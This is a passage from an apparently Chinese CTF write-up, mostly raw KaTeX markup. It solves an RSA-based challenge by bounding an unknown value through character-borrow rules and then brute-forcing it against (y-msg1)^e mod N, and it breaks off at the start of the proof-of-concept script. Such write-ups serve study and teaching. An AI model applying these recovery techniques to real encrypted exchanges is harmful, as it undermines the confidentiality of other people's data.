style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.78041em;vertical-align:-0.13597em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8304100000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">假设第</span><span class="mord">i-1</span><span class="mord cjk_fallback">个值</span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord cjk_fallback">，</span><span class="mord text"><span class="mord cjk_fallback">此时下下标为</span><span class="mord">i-1</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">则此时第</span><span class="mord">i</span><span class="mord cjk_fallback">个数字的取值中的左边可能发生借位</span></span><span class="mord cjk_fallback">，</span><span class="mord text"><span class="mord cjk_fallback">也就是</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.78041em;vertical-align:-0.13597em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8304100000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.801892em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>为了增大检测范围，此时可以用如下两条规则来确定:</p><ul><li>当<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>≤</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>A</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_{i-1} \leq ord(&#x27;A&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，则必定左，右侧同时借位</li><li>当<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo>≤</mo><mi>o</mi><mi>r</mi><mi>d</mi><msup><mo stretchy="false">(</mo><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><msup><mi>z</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_{i-1} \leq ord(&#x27;z&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mord mathdefault">o</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，则必定左侧借位</li></ul><p>其余情况一律当作不接位处理（毕竟是不停产生的随机数，所以可以稍微放松一点约束条件）</p><h4 id="细节处理">细节处理</h4><p>除此之外，有一个小细节，是写poc才发现的。。。看代码这段:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msg0 = bytes_to_long(random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br><span class="line">msg1 = bytes_to_long(random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br></pre></td></tr></table></figure><p>实际上<strong>msg的长度没有真实随机数的长度长，所以实际上我们需要爆破的只有255个字节，第256个字节只需要考虑进位问题即可</strong></p><h4 id="最终爆破">最终爆破</h4><p>当我们把范围限制在一个可以承受的范围的时候（可能的取值控制在500000左右之后），我们就可以尝试去爆破y的具体取值（毕竟原题目是一个需要交互的题目，减少交互可以减小网络等问题的影响）。具体怎么做呢？由于此时我们已知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">y=msg1+(x_0-x_1)^dmodN</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span> ，此时我们可以确认的已知量为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_0-x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> ，所以我们的算式需要围绕这个值来进行爆破。由于我们使用了RSA对这个数字进行加密，所以我们可以遍历区间中的所有取值，检查 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>y</mi><mo>−</mo><mi>m</mi><mi>s</mi><mi>g</mi><mn>1</mn><msup><mo stretchy="false">)</mo><mi>e</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi><mo>=</mo><mo>=</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">(y-msg1)^emodN == x_0-x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mord">1</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">e</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span></span><span class="base"><span class="strut" style="height:0.36687em;vertical-align:0em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。如果成立的话，则代表我们爆破的y是合理的。</p><p>这里贴上为了解题写的poc，并且改写成了本地的版本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">from</span> Crypto.PublicKey <span class="keyword">import</span> RSA</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> bytes_to_long, long_to_bytes</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> SystemRandom</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> product</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">NumSet</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, init_set, index</span>):</span><br><span class="line">        self.final_set 